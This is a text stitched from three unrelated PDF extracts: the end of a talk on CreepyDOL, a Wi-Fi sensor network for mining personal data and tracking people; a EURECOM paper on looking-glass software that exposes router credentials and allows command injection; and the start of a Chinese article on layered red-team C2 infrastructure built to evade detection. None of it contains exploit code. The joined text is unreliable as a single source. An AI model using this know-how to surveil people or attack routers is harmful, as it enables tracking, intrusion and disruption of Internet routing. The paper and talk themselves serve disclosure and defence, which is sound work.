Reticle had some scripts to take care of this, but during its rewrite, I pulled them out so that this would work in more of a general case---because weirdly, I couldn’t find any examples of doing this cleanly. CreepyDOL So as I mentioned, Creepy Distributed Computation for Distributed Systems, and Centralized Computation For High-Level Data http://www.flickr.com/photos/lara604/3164622774 http://www.flickr.com/photos/jenniferboyer/52474490/ http://www.flickr.com/photos/gaelx/1858599144 A. Distributed Querying for Distributed Data 1. Since we don't have independent, high-bandwidth channels for sending data home, it's not a good idea (and may not be possible) to send raw packets home. Nodes should send home data that's already been digested. 2. So: we run any queries on the nodes that can be effectively run on the nodes, *given data that node has collected*. 3. We do not process multi-node data on individual nodes, even though every node has access to all the data (see "contagion network"), because they've got limited processing power---and more importantly, data storage. B. Centralized Querying for High-Level Data 1. Things that need datapoints from multiple nodes---tracking, pattern analysis, etc., go on the "backend." 2. The backend is just another node, but with a special mission configuration: rather than just sensing and adding data, it receives data from the contagion network, pushes it into another system (a data warehouse), and then instructs the contagion to delete it to make room. NOM: Nosiness, Organization, and Mining http://www.flickr.com/photos/scjody/5345366096 C. Data Query Methodology: NOM 1. O: Observation. Take as much data out of local traffic as possible; this means names, photos, services used, etc. To make this easy, we've created a large number of "filters" that are designed for traffic from specific applications---DropBox, Twitter, Facebook, OKCupid, etc. This is a distributed query (run on the nodes). 2. N: Nosiness. Using data extracted from O queries, there are lots of leveraged queries we can make; for instance, given an email address, we can look for accounts on web services, or given a photo, we can look for copies of that photo pointing to other accounts. This can be run either as distributed or centralized. 3. M: Mining. Taking data found by the nodes, build up larger analyzed products. For instance, is the device (person) usually in one area during a certain time of day? Are there three devices that are almost always seen together, if at all? (The latter may indicate that they are all carried by the same user.) This type of query is exclusively run on the backend. Visualization • Second DARPA CFT Contract • Used the Unity Game Engine • Side note: wow, that’s a fun toy • Side note: wow, I hate writing JavaScript that’s interpreted by C#, then compiled into .NET CLR • Runs on an iPad! Or OSX/Windows/Linux/Android • I think I could make it run on an XBox360, actually (Unity is Very Nice) Want to see what it looks like? (Say yes) (Please) Test Parameters • To prevent badness, we programmed the NOM system to look only for traffic from devices we owned; no “random stranger” data was collected at any time. Results Scaling Up • Sharding Contagion Networks • Scaling backend --- luckily, this isn’t hard • Scaling limits of visualization • Frame rate... • Hey, aren’t there nice $20 SDRs? I wonder what I could sniff with that.... • (Yes, those work on a Raspberry Pi) Other Applications Counter-Infiltration http://www.flickr.com/photos/igalko/6341182132/ A. Counter-Infiltration 1. There is a persistent rumor, in cases of exceptional police brutality (Occupy Anything, or more protests in Britain) that the police are sending in agents provocateur to cause the disruption that gives them an excuse to crack down. (This rumor is at least 300 years old, by the way.) 2. CreepyDOL would let you set up "known devices" with alarms for new ones, watch as new people come in, or even simply set off a klaxon if a Blackberry shows up (obviously a cop). C. OPSEC Training 1. The ROE for my tests demonstrate limiting data capture to one or several known devices. Use that to test your agents' OPSEC capabilities: set up a wide-ranging capture network (but tied to their stuff) and see what they leak. 2. The advantage is that you don't need to control every network an agent accesses. This lets you test "in the real world," which is much more realistic. Evidence Logging http://www.flickr.com/photos/decade_null/142235888 B. Evidence Logging 1. Again in fast-moving scenarios like protests and rallies: there's a real problem with destruction of evidence, electronic or physical, during crackdowns. In addition, it's very, very difficult to know who was *in* a kettle in the first few hours afterward; a way to know that could be very comforting and/or helpful to those outside. 2. Since CreepyDOL uses a contagion network, anything it logs will be immediately shipped out of the area to linked nodes anywhere on the planet. If those nodes go offline, the data is preserved. 3. For bonus points, use F-BOMB belt packs (which last a very long time on batteries) to have moving logs---and if you come in range of a WiFi AP somewhere (say, at a stop light), they'll offload their data without any additional interaction. 4. The encryption, and the fact that the nodes don't persist their keys, mean that unless an adversary *already knows what it is and how to cold boot it*, they don't get data. If people on the outside are concerned about the nodes, revoke their device certificates and they'll be cut off immediately. Mitigation: A Sacrifice VIII. Mitigation A. Much of the functionality CreepyDOL exploits is the 802.11 protocol itself; it's not as simple as "patch this," because the networks rely on it. 1. SSID Beaconing 2. MAC Address signing B. What do you want to give up? 1. Always-on---turning things off would help. 2. Open WiFi---this would somewhat mitigate (harder to steal app data), but we can still see your MAC, and from this get your location. If we can otherwise associate a MAC with a name, we can still correlate multiple devices per person, and track patterns. 3. It isn't helpful to just use cellular data; given that SDRs now cost $20, we could cheaply extend CreepyDOL to watch for that (at least for MAC tracking purposes). We don’t need the extra features of these protocols, but they’re nice... and it’s the status quo. The Status is Not Quo Image from Dr. Horrible’s Sing-Along Blog, by Joss Whedon Thanks! • To the CFT program, without which I couldn’t have spent a large part of law school doing something much more interesting • To all those I’ve harassed for comments on proposals, work, or slides • Ping me: http://www.maliceafterthought.com
pdf
Through the Looking-Glass, and What Eve Found There Luca Bruno, Mariano Graziano, Davide Balzarotti, Aur´elien Francillon EURECOM {firstname.lastname}@eurecom.fr Abstract Looking-glasses are web applications commonly de- ployed by Autonomous Systems to offer restricted web access to their routing infrastructure, in order to ease re- mote debugging of connectivity issues. In our study, we looked at existing deployments and open-source code to assess the security of this critical software. As a result, we found several flaws and misconfigurations that can be exploited to escalate from a web attack to a remote com- mand execution on backbone routers. This paper summarises the results of our study, and shows how even an attacker with very limited resources can exploit such flaws in operators’ networks and gain access to core Internet infrastructure. Depending on sys- tems configuration, these attacks may result in traffic dis- ruption and global BGP routes injection, with severe im- plications for the security of the Internet. 1 Introduction The Internet is composed by a large number of Autonou- mous Systems (AS) which cooperate to exchange and carry data across their links. Several intra- and extra- AS routing protocols running on backbone routers are responsible for distributing routes in the control plane, across the world. Some of those protocols, however, have not been designed with security in mind and are not specifically resilient against malicious agents [1]. For example, the Border Gateway Protocol (BGP) [2] takes care of extra-AS routes distribution, but any mali- cious or wrongly configured AS can hijack and re-route prefixes owned by other ASes. Therefore, most of In- ternet routing relies on the assumption that no malicious BGP routers are ever allowed to announce bogus routes, and that the existing routers are benign and properly se- cured. The aim of our study is to show how these assumptions do not hold true in the real-world, by focusing on a series of software flaws and widespread misconfigurations in “looking-glass” software that offers limited web-access to backbone routers. The paper is organized as follow. In Section 1 we introduce the concept of “looking-glass” software as a public-access network debug tool, and its typical code architecture. Then, in Section 3 we outline a possible threat model, along with some of the most severe men- aces. Furthermore, in Section 4 and 5 we present the re- sults of the software review we did, and we describe the indirect experiments we performed to confirm our find- ings. The most relevant statistics and results of our ex- periments are shown in Section 6, along with an empir- ical rough estimation of BGP injection feasibility, based on historical records. Finally, Section 8 summarises our findings and give some insights on the current state of the Internet infrastructure. 2 Background An AS infrastructure is composed of several network ser- vices, each handled by different systems and devices. For the purposes of this paper, we will limit our focus to just two categories of systems that are strictly related to Internet routing: backbone BGP routers and Linux- based route servers. • Backbone routers The worldwide Internet backbone is run on top of dedicated network devices capable of acceler- ated packet routing in the data-plane, using custom ASICs and dedicated hardware. These devices run a custom OS and control-plane stack which is responsible for computing the rout- ing topology, e.g., by participating in BGP sessions with neighbors. In addition, all these devices have one or more interfaces for remote and out-of-band (OOB) administration, like a telnet service, a SSH service, or a remote serial port. The access to these Public IP (data+BGP) Private admin (telnet/SSH) Public web (looking-glass) Internet AS64496 NOC AS64497 NOC AS64498 NOC Private net Public net Figure 1: Looking glass architecture. interfaces should be strictly restricted to Network Operations Center (NOC) operators and authorized AS personnels. • Route servers Routing software exists for traditional Linux- based servers to establish BGP sessions with other routers and servers. Two prominent examples are Quagga [3] and Xorp [4], which are used by several operators and are under active development. The usages of route servers are multiple, from pro- viding a read-only copy of the global BGP table to allowing scripting of BGP rules (e.g., by using tra- ditional UNIX utilities). Also these servers can be accessed out-of-band by AS personnel, via telnet or SSH. Some public services exist, like the Route Views project [5], which provide unrestricted telnet access to their route servers to expose a read-only copy of the BGP table to analysts and researchers. How- ever, those services are purposefully meant for pub- lic access, and are therefore outside the scope of this paper. When debugging BGP routing problems, NOC oper- ators are often facing issues affecting only a few ASes. Such problems are harder to debug due to the lack of a view on the remote routing table. For this reason, a new category of web-applications emerged in the ’90s to permit a restricted set of opera- tions on AS routers and route servers by the large public, over the web. This kind of software is usually referred as “looking-glass”, as it offers a local observation point to remote network engineers. Looking-glasses are web scripts, usually implemented in Perl or PHP and directly connected to routers admin interfaces (i.e., telnet or SSH). These scripts are designed to relay textual commands from the web to the router and print back the router’ replies. They run on top of com- mon Linux/Apache stacks, and sometimes provide addi- Looking glass Language Release (date) Cougar-LG [6] Perl 1.9 (2004-11-25) Cistron-LG [7] Perl 1.01 (1997-10-21) MRLG [8] Perl 5.4.1 (2007-08-30) MRLG4PHP [9] PHP 1.0.7 (2007-10-11) Telephone [10] PHP 1.2.0 (2012-10-01) Table 1: Open-source looking-glass software. tional utilities for latency and traceroute measurements. Figure 1 briefly shows their typical architecture and de- ployment. We decided to focus our attention on looking-glass software, as most of them are small and old web- applications that have been last updated in early 2000s. In this paper we analyse what we found to be the most commonly used open-source software looking-glasses, as listed in Table 1. 3 Threat model A looking-glass is an often overlooked critical part of an operator infrastructure, as it sits at the border between the public web and restricted admin consoles. As such, the threat model encompasses both the typical web security scenario and some more custom networking threats. We categorized some of the most relevant issues as follow: • Reverse Cross-Channel Scripting (Reverse-XCS) Reverse-XCS are defined by Bojinov et al. [11] as “the use of web interface to eventually attack a non- web channel”. In our scenario, this translates to two relevant cases: – Malicious command injection Bypassing a weak or non-existent commands 2 sanitization, an attacker may trick the looking- glass into sending malformed commands to a router console, e.g., to trigger a DoS on the control-plane. – Routing Information Base (RIB) manipulation By exploiting flaws in the looking-glass, an at- tacker may inject arbitrary commands to ma- nipulate the RIB on the router, e.g., by chang- ing the BGP configuration. If the attacked router relays its topology to neighboring ASs, this may also affect remote networks. • Web flaws Typical web threats applies here too. In particular, we highlight two of the most relevant cases: – Exposed routers credentials The configuration files of a looking glass con- tain IP addresses, usernames, and passwords in cleartext. If not properly secured, an at- tacker may be able to gather credentials by guessing the URLs of configuration files. – Cookies stealing via XSS Even though looking-glass applications are usually unauthenticated, an attacker may ex- ploit XSS flaws in them to gather admin cook- ies for other administration web-applications served under the same-origin domain. 4 Threat Analysis 4.1 Misconfigurations Misconfiguration or improper access control of resources are two of the most basic, yet important, issues for web security. First of all, if server modules are not properly con- figured, it may be possible to get a listing of suppos- edly private files – including source codes and config- uration files. In this case, search engine bots are capable of crawling and inspecting the files content, thus making login credentials easy to gather by searching for ad-hoc Google-dorks [12]. Another possible issue comes from temporary files. In this case, source code and configurations could be recov- ered by looking for temporary editor files (e.g., ending in ⇠) on the web server. This can as well help an at- tacker confirm which version of the software is run by a targeted operator, and may pose a bigger problem for proprietary/custom looking-glasses. Moreover, configurations and login credentials for routers may be stored as plain text files in the same web server directory. By default, web-servers will serve them as plain-text to anyone querying the proper URL. By in- specting source code and looking at default file names, it is possible to guess the URL of configuration files and, if not properly protected, retrieve them. Finally, some software allows advanced authentication methods, for example by using SSH public/private key- pairs instead of cleartext passwords. In this case, the path to the SSH key is stored in the configuration files, instead of the full passwords. However, the SSH keys themselves could be stored by mistake in the same path, openly readable to the entire world. 4.2 Poor network policies Backbone routers are parts of a critical infrastructure and as such their admin interfaces have to be properly se- cured. Cisco’s own best practices [13], for example, rec- ommend exposing consoles only over out-of-band loop- back interfaces, unreachable from the public Internet (e.g., by using private addresses and placing them in ded- icated admin VLANs). However, some operators may decide to put loopback interfaces on publicly routable networks, or to expose ad- ministration services on all router’s interfaces. In such cases, a remote attacker may be able to directly login onto them, e.g., by using stolen credentials. 4.3 Web security It is usually recommended that actionable web applica- tions make use of captcha or other automation blocker to avoid scripted attacks [14]. While this may not look like a big issue for looking-glasses, the lack of this counter- measure can effectively help an attacker to automatically map resources in an AS infrastructure and scan them for information gathering. This may also result in automated bot attacks aimed at DoSing connected devices or other parts of the network. Moreover, an attacker may be able to exploit insuffi- cient input parameters sanitization to perform XSS and inject HTML/JS code in web responses. While looking- glasses are usually unauthenticated, this flaw can be used to steal admin cookies for other panels hosted under the same-origin domain. Similarly, it could be possible to perform a Reverse- XCS against the network infrastructure. If web input is not properly sanitized, an attacker may forge input pa- rameters to inject custom commands into the router con- sole. This directly means an escalation from a web at- tack to an Internet routing attack if the attacker manages to modify the router configuration. Finally, some software may come with additional tools to be deployed directly on the web-server to perform advanced measurements (e.g., high granularity latency 3 measurements). Such tools may as well include vulnera- bilities, leading to remote code execution on the looking- glass server itself. 4.4 Impact Most of the threats described so far can result in an at- tacker getting unauthorised access to the administration interface of a router, under the same access level of the looking-glass software. In a typical network topology designed as in Figure 1, this results into having an observation point into the pri- vate part of an AS infrastructure, and possibly manip- ulating portions of it. Moreover, an attacker with re- stricted console access to a router could easily elevate his privileges by cracking weakly-hashed secrets [15] (e.g., Cisco’s ciphers Type-0, Type-5 and Type-4 [16]) or by abusing known authorization bypass vulnerabilities that affected several top vendors [17, 18]. The impact of a malicious attacker with elevated priv- ileges on a backbone routers are manifold with respect to both the local AS infrastructure and the global Inter- net. For example, by altering internal or external routing configurations, an attacker may be able to blackhole or disrupt specific subnetworks, or set up traffic mirroring or re-routing scenarios for further attacks. We consider the post-exploitation analysis of such a scenario to be complex and quite specific to single ven- dors, devices, and network setup. As a result, we will not cover post-exploitation details in the rest of this paper. However, we would like to stress the fact that backbone routers are usually capable of announcing routes both in- ternally (e.g., into an OSPF domain) and to the whole Internet (i.e., to peering ASes via BGP). As such, in this threat analysis we have highlighted one possible path for a remote attacker with modest resources to escalate from a web attack, to a remote command injection into mul- tiple backbone routers, to injecting malicious announces into the Internet BGP table. 5 Experiments Given the theoretical attack surface presented in Sec- tion 3, we tried to assess how many ASes worldwide were actually vulnerable to remote attackers. Our goal was complicated by the fact that, due to ethical and legal considerations, we could not perform direct experiments, e.g., by injecting commands on remote routers or by just trying to login into them. 5.1 Ethical concerns Unauthorized access to computers and network devices is prosecuted by several national and international laws. Since in this paper we conducted a comprehensive study, encompassing 26 countries with different legislations, we took ethical considerations as a top priority. For this reason we avoided any direct connections to routers and other devices we found online, even when credentials where publicly exposed. We performed our analysis and code review of the looking-glass software in a local set- ting, performing the injection experiments in a controlled environment, as described further below. During our research we found several vulnerabili- ties and misconfigurations. Unfortunately, in most of the cases these flaws were trivial to detect and to ex- ploit, significantly increasing the relevance of our study. For this reason, we decided to responsible disclose the vulnerabilities and misconfigurations by contacting the CERT/CC in order to coordinate all the entities involved. In addition, we contacted and reported our findings to the software developers, who acknowledged the prob- lems and are working on fixes. 5.2 Methodology Not all ASes provide public looking-glasses, and there is not a single central list containing all of them. As such, we compiled a list of known ones on a best-effort basis by collecting URL from operators-related resources. Such resources are not updated frequently and may contain unreachable or inactive services, while missing recent ones. We started filtering out the inactive entries by connecting to them and looking for network or web failures. For the remaining ones, we performed a sim- ple HTTP request, matching the returned page with a set of HTML signatures we developed for each open-source looking glass we were able to download. At the end of this fingerprinting phase, we obtained the list of the most popular open-source software, and which ASes are using them. We then proceed to perform a security review of their codebase, especially looking for the kind of issues we de- scribed in Section 4. At the same time, we also collected a list of default paths for configuration files, sources, and keys. This knowledge base was subsequently used to scan web servers and search engine indexes for publicly exposed configurations and key files. At this point, we focused our tests on the subset of ASes for which we identified an existing security prob- lem. In our experiment, we first tried to enumerate at least one public IP for all routers connected to a looking- glass, by requesting an ICMP echo request to one pub- lic IP address under our control. We then looked for IP addresses publicly exposing an admin service (telnet or SSH). We performed this test by checking for pub- licly routable loopbacks or services listening on rout- ing interfaces. These actions were easy to automate, as 4 Looking glass Number of ASes Custom/Unknown 515 Unreachable 184 Cougar-LG 175 Cistron-LG 15 MRLG4PHP 12 MRLG 11 Telephone 7 Table 2: Looking-glass software deployments. none of the open-source looking-glass software employ CAPTCHAs. At the end of our experiments, we identified a subset of vulnerable ASes, for which an attacker could be capa- ble of directly injecting commands on the router or could be able to recover the credentials required to remotely log in in a publicly accessible interface. We then correlated this list of ASes with histori- cal records of BGP announces collected by RIPE RIS through several probes and peers, all over the world. The results suggest that by compromising some of these ASes it would probably be possible for an attacker to announce routes that would not be properly filtered by neighbour- ing ASes. We acknowledge that this methodology may result in several false-negatives (URLs not in the original list, unavailable at the time of the experiment, or missed while fingerprinting) and few false-positives (updated and well-configured routers with proper ACL). For the former, one could repeat the experiments in the future to compare the results. Unfortunately, it is impos- sible to remove the false positives without performing a real test on the routers – action that we could not perform for ethical reasons. 6 Results After an initial fingerprinting phase, we collected 919 unique URLs of looking-glass applications, out of which 220 were running one of open-source software listed in Table 1. The remaining ones were either unreachable (184 cases), or running a custom code we were not able to identify with our signatures (515). 6.1 Impacted ASes An initial lookup on web search engines already proved fruitful, with at least 4 configuration files crawled by in- dexing bots. Vulnerabilities Affected ASes Exposed configuration files 28 Remote command injection 12 Misconfigured CGI 4 Exposed SSH private keys 2 Table 3: Number of vulnerable ASes. Looking for misconfigurations, we observed a large number of exposed credentials by just visiting the default configuration paths for each software, as gathered from the source code. At least 28 configuration files contain- ing IPs and credentials can be directly downloaded by malicious attackers, and in two cases we also observed private SSH keys exposed on the web server. Focusing on the source-code, we observed a general lack of basic security practices. As already said, none of above software make use of anti-automation mecha- nisms. The most worrisome result of our review was one case of missing input sanitation mechanism which allows injection of arbitrary commands to the router console (CVE-2014-3927 [19]). We also observed three cases of insecure default paths and permissions, mostly the cause of the exposed credentials mentioned above (CVE- 2014-3928 [20], CVE-2014-3929 [21] and CVE-2014- 3930 [22]). In one case, the result page was vulnerable to a XSS attack (CVE-2014-3926 [23]). On the host side, an interesting finding was a re- mote memory corruption related to the parsing of ICMP- response fields in a bundled ping-like utility, meant to be run as SUID on the looking-glass web server (CVE- 2014-3931 [24]). To summarize, we detected a total of 46 vulnerable ASes, which could be targeted by attackers in order to gain access to the Internet infrastructure. A quick sum- mary of the issues is shown in Table 3. Figure 2 plots the number of affects ASes by country. The most vulnerable nation is Russia with six ASes, fol- lowed by Poland with four. Then there are 16 countries with a vulnerable AS. However, none of these ASes are known tier-1 provider. Through the use of looking-glasses and network probes, we globally identified 53 routers across 20 ASes publicly exposing telnet or SSH services. This figure does not include known public route servers, typically accessed over telnet, which have been filtered out from this set. Finally, by combining all this data, we were able to correlate two leaked configurations to ASes whose routers administration services were listening on routable IPs. In total, we observed six routers connected to looking-glass instances which are directly reachable over 5 Figure 2: Geographical distribution of vulnerable ASes. telnet and for which credentials are publicly exposed. As the final result of our experiments, we identified at least 14 ASes which are highly interesting for attackers targeting the Internet infrastructure: 12 of them run soft- ware that is vulnerable to arbitrary commands injection, while the remaining 2 have a largely exposed infrastruc- ture. 6.2 BGP injection feasibility A malicious attacker capable of manipulating BGP ses- sions may affect the network traffic across the world. Fortunately, several mechanisms exist to limit wordlwide issues, most notably prefix filtering in which upstreams and peers filter a neighbouring AS to only announcing known routes, effectively preventing malicious injection. However, several past hijacks [25] and academic stud- ies [26] have shown how often BGP announces are not properly filtered, resulting in misconfigurations and hi- jacks being observed in the wild. While BGP anomaly analysis is a complex subject out- side of the scope of this paper, we tried to assess if it is possible for an attacker controlling any of the above vul- nerable ASes to announce unfiltered routes. At this point, we are interested in knowing if some peers of those ASes were not applying proper filters, by looking into anoma- lies detected by the RIPE RIS. By manually analysing historical data, we spotted at least three such cases where anomalous announces where recorded by BGP collectors over the low-visibility threshold (i.e., relied by multiple peers). In two cases, overlong prefixes (more specific than /24) where observed by multiple participating peers, while in the remaining case an event lasting 8h occurred where one AS briefly announced an unrelated prefixes al- ready in use (a short multi-origin AS event, possibly due to a temporary misconfiguration). Such unfiltered prefixes hint at the possibility for a re- mote attacker to distribute bogus BGP routes, by com- promising one of above ASes. 7 Related Work Backbone routers are the main players of the Internet core infrastructure, and they are considered key points for cyberspace security. For these reasons, these devices have been studied from several perspectives. Remote exploitation of routers has been studied in the past, with Lindner showing the feasibility and the tech- nical challenges for Cisco IOS [27, 28, 29] as well as for Huawei VRP [30]. Since then, other researchers fo- cused their attention on the remote exploitation of Cisco routers [31, 32] and the firmware diversity problem [33]. Despite the importance of these devices, serious local flaws are still being found [34], allowing an attacker with console access to escalate his privileges. The impact of these local flaws could be exacerbated by network engi- neers not following security best-practices, as shown in this paper. Researchers also focused their attention on the de- facto interdomain routing protocol, BGP. In this case, the threat model consists in taking control of a BGP device and announcing false routes or hijacking pre- fixes [35, 36, 26]. This is possible because BGP has been designed with the concept of trust, at a time in which se- curity was not a real concern [1]. Several solutions have been proposed in the literature, ranging from the use of cryptography (e.g. PKI for a root of trust) [37, 38] to anomaly detection [39, 40]. Unfortunately, they are not widely used by network providers. More specific to looking-glass applications, re- searchers have found some vulnerabilities in the past, but their focus was on the execution of code on the server running the looking-glass software [41]. Some concerns related to information leakage were also raised on public mailing lists [42, 43]. However, to the best of our knowl- edge, no comprehensive studies had been conducted so far on this class of applications. 8 Conclusions We believe that our study shows how basic best-practices are not uniformly applied by operators across the world, and how an attacker can target several ASes to disrupt the Internet without much effort. Just by looking at public information gathered on the web and applying simple heuristics, we have been able to detect a large number of attack surfaces in this critical infrastructure. In particular, we directly identified at least 45 exposed ASes, we found six routers across two ASes which could be remotely accessed by malicious attackers via exposed credentials, and at least 12 additional ASes vulnerable to arbitrary commands injection through the web interface. Moreover, we have spotted unfiltered pre- fixes originating from at least three of these ASes in the 6 past. Acknowledgements We would like to thank Pierre-Antoine Vervier and Quentin Jacquemart for patiently discussing and advis- ing us on the complex topic of BGP analysis. Moreover, we would like to thank Thijs Kinkhorst and ANSSI per- sonnel for directing us in the initial disclosure steps. References [1] S. Murphy. BGP Security Vulnerabilities Analysis. RFC 4272 (Informational), January 2006. [2] Y. Rekhter, T. Li, and S. Hares. A Border Gateway Protocol 4 (BGP-4). RFC 4271 (Draft Standard), January 2006. Updated by RFCs 6286, 6608, 6793. [3] Quagga Routing Suite. http://www.nongnu.org/quagga/. [4] Xorp - eXtensible Open Router Platform. http://www.xorp. org/. [5] University of Oregon Route Views Project. http://www. routeviews.org/. [6] Cougar LG. https://github.com/Cougar/lg. [7] Cistron LG. http://www.tux.org/pub/people/ miquel-van-smoorenburg/net/. [8] MRLG. http://mrlg.op-sec.us/. [9] MRLG4PHP. http://freecode.com/projects/mrlg4php. [10] Telephone LG. https://github.com/telephone/ LookingGlass. [11] Hristo Bojinov, Elie Bursztein, and Dan Boneh. XCS: cross chan- nel scripting and its impact on web applications. In ACM Con- ference on Computer and Communications Security, pages 420– 431, 2009. [12] Johnny Long. Google Hacking for Penetration Testers. Black Hat USA, 2005. [13] Cisco on Cisco Best Practices – IP Addressing Policies. https://www.cisco.com/web/about/ciscoitatwork/ downloads/ciscoitatwork/pdf/Cisco_IT_IP_ Addressing_Best_Practices.pdf, 2010. [14] Ahn, Luis Von and Blum, Manuel and Hopper, Nicholas J. and Langford, John. CAPTCHA: Using Hard AI Problems for Se- curity. In Proceedings of the 22Nd International Conference on Theory and Applications of Cryptographic Techniques, EURO- CRYPT’03, 2003. [15] Cisco IOS Password Encryption Facts. http://www. cisco.com/c/en/us/support/docs/security-vpn/ remote-authentication-dial-user-service-radius/ 107614-64.html. [16] Cisco PSIRT. Cisco IOS and Cisco IOS XE Type 4 Passwords Issue . http://tools.cisco.com/ security/center/content/CiscoSecurityResponse/ cisco-sr-20130318-type4. [17] Cisco PSIRT. AAA Command Authorization by-pass . http://tools.cisco.com/security/center/content/ CiscoSecurityResponse/cisco-sr-20060125-aaatcl. [18] Juniper Networks SIRT. Unauthorized user can obtain root access using cli. http://kb.juniper.net/InfoCenter/index? page=content&id=JSA10420&actp=search&viewlocale= en_US&searchid=1400663655904, 2010. [19] mrlg4php: remote command injection to router’s console via ”argument” parameter. http://www.s3.eurecom.fr/cve/ CVE-2014-3927.txt, 2014. [20] Cougar-LG: Unsafe configuration file path/ACL. http://www. s3.eurecom.fr/cve/CVE-2014-3928.txt, 2014. [21] Cougar-LG: Unsafe SSH keypairs path in default config. http: //www.s3.eurecom.fr/cve/CVE-2014-3929.txt, 2014. [22] Cistron-LG: Unsafe configuration file path/ACL. http://www. s3.eurecom.fr/cve/CVE-2014-3930.txt, 2014. [23] Cougar-LG: XSS in title via ”addr” parameter. http://www. s3.eurecom.fr/cve/CVE-2014-3926.txt, 2014. [24] MRLG: remote memory corruption in fastping (SUID bi- nary). http://www.s3.eurecom.fr/cve/CVE-2014-3931. txt, 2014. [25] Earl Zmijewski. Indonesia Hijacks the World. http://www. renesys.com/2014/04/indonesia-hijacks-world/. [26] Ballani, Hitesh and Francis, Paul and Zhang, Xinyang. A Study of Prefix Hijacking and Interception in the Internet. In Proceed- ings of the 2007 Conference on Applications, Technologies, Ar- chitectures, and Protocols for Computer Communications, SIG- COMM ’07, New York, NY, USA, 2007. [27] FX, FtR and kim0. Attacking networked embedded systems. Black Hat USA, 2002. [28] Felix ”FX” Lindner. Cisco Vulnerabilities - Yesterday, Today and Tomorrow. Black Hat USA, 2003. [29] Felix ”FX” Lindner. Cisco IOS Router Exploitation. Black Hat USA, 2009. [30] Felix ”FX” Lindner. Hacking Huawei Routers. DEFCON XX, 2012. [31] Michael Lynn. Cisco IOS Shellcode. Black Hat USA, 2005. [32] Andy Davis. Remote Cisco IOS FTP exploit, 2007. [33] Ang Cui and Jatin Kataria and Salvatore J. Stolfo. Killing the Myth of Cisco IOS Diversity: Recent Advances in Reliable Shell- code Design. In WOOT, pages 19–27, 2011. [34] Juniper Networks SIRT. Multiple privilege escala- tion vulnerabilities in Junos CLI (CVE-2014-0615). http://kb.juniper.net/InfoCenter/index?page= content&id=JSA10608&actp=search&viewlocale=en_ US&searchid=1400663655904, 2014. [35] Butler, Kevin R. B. and Farley, Toni R. and McDaniel, Patrick and Rexford, Jennifer. A Survey of BGP Security Issues and Solutions. Proceedings of the IEEE, 98:100–122, 2010. [36] Ramachandran, Anirudh and Feamster, Nick. Understanding the Network-level Behavior of Spammers. In Proceedings of the 2006 Conference on Applications, Technologies, Architectures, and Protocols for Computer Communications, SIGCOMM ’06, 2006. [37] Public-key infrastructure for the Secure Border Gateway Protocol (S-BGP), 2001. [38] RFC 2385 - Protection of BGP Sessions via the TCP MD5 Sig- nature Option. http://www.ietf.org/rfc/rfc2385.txt, 1998. [39] Caesar, M. and Rexford, J. BGP Routing Policies in ISP Net- works. Netwrk. Mag. of Global Internetwkg., 2005. [40] Nordstr¨om, Ola and Dovrolis, Constantinos. Beware of BGP At- tacks. SIGCOMM Comput. Commun. Rev. [41] rgod. Looking Glass v20040427 arbitrary commands execution / cross site scripting. http://retrogod.altervista.org/ lookingglass.html, 2005. 7 [42] BGP vulnerability? http://www.gossamer-threads. com/lists/cisco/nsp/11323?do=post_view_threaded# 11323, 2004. [43] TCP BGP vulnerability looking glass and route server issues. http://www.nanog.org/mailinglist/mailarchives/ old_archive/2004-04/msg00684.html, 2004. 8
pdf
做红队你需要学习“如何挖掘战壕”(一) 0x00 前言 看到红队和战壕,相信做红队或者蓝军的同学应该知道我想聊什么了?今天和大家聊一聊红队的基础设 施。 19年的时候为了准备一个PPT,系统的梳理了下红队的基础设施,现在写出来算是抄冷饭了,希望对大 家依旧有用。我曾经大言不惭的说过一句话“在红队行动中,完善的基础设施是成功的一半”。虽有夸 张,却无不当。在这儿做个形象的比喻,搭建基础设施,类似于打仗前挖的战壕。战壕不仅是个人掩 体,还是部队作战、输送和补给的场地。战壕置于战争的作用,就是基础设施置于红队行动的作用。对 军事有兴趣的同学可以百度“如何挖掘战壕”。回归正题,所谓的红队的基础设施具体的是什么?下文中 红队的基础设施,全部以基础设施代指。 0x01 什么是基础设施 为什么要花这么大的力气去搭建所谓的基础设施,什么是基础设施?在解释这些问题之前。你应该对“什 么是挖漏洞”、“什么是渗透测试”、“什么是红队行动”有一定了解,在此我就不过多阐述了,网上有很多 文章阐述,我也没有更多新的见解。在这儿用2个故事做个比喻,简单解释下: 故事1: 领导丢该小明一个网站,小明使用扫描器发现一个文件上传漏洞,然后小明告诉领导目标有文件上传漏 洞。 故事2: 领导丢该小明一个网站,小明使用扫描器发现一个文件上传漏洞,然后上传webshell并提权,再以此台 服务器为代理,对内网进行各种扫描,发现一堆弱口令、sql注入、文件上传等等漏洞,最后告诉领导整 个流程。 相信大家应该清晰了,故事1是挖漏洞,故事2是渗透测试。那什么是红队行动呢? 这是我19年的理解,现在针对“真实的APT攻击行为”有了不同的一些认识,请阅读《做攻击者那些年的 一些想法》 通过对挖漏洞、渗透测试、“APT”的对比发现,“APT”具有隐蔽、周期长(俗话说:不怕贼偷,就怕贼惦 记)、长期盯着你、不择手段(针对性极强,明确的目的性)的特点,这些是挖漏洞和渗透测试不具备 的。 说到这里,你联想一下应该就清楚什么是红队基础设施了。从意义和作用上讲,红队基础设施是为了满 足红队行动中隐蔽性、周期性、持久性、针对性,以及满足作战协同和后期出报告的需求而发展形成的 红队行动的一个阶段。实际落地具象化就是C2搭建(匿名网络链路相关的在此不谈,后面单独行文), 看到这儿,你可能内心会想了,MD BB了半天,不就是搭建一个C2嘛!是的,就是搭建C2,搭建C2容 易,但是要搭建一个好的C2就不容易了。 0x02 C2架构设计 这是普通的C2架构,也是大家常用的,说架构都有点不合适,就是一个链路而已,它有哪些缺陷呢? 功能无分离 通道无分离,无潜伏通道 没有前置机,架构灵活性太低 TeamServer太少,回连机器过多,会导致CS日志同步极其耗时间 再看演进一个版本: 这一下有了DNS通道、HTTP通道、HTTPS通道,每种协议通道都有自己的优势劣势,根据这些优势劣势 按需分配,分别作为数据通道、控制通道、潜伏通道,再根据红队行动中攻击方式的不同来做功能隔 离,例如:钓鱼的C2不要和后渗透的放一起;不同的打点位用不同的链路。 那么这个架构有什么劣势呢?在行动中难免不触发报警,因此为了不被完全清场,同时还要做到功能分 离、通道分离等,这样会导致teamserver成几何级部署。因此前置的作用尤为重要了。 让我们看看最终版: 这下有了前置了,有钓鱼的前置、植入体下载前置、控制前置、潜伏通道前置,这里没有数据通道的前 置,红队行动毕竟不是APT,不需要拖取大量数据(这是违法的)。 在这儿有几个小的tips,结合实际多次经历在稳定性和成本上的考量: 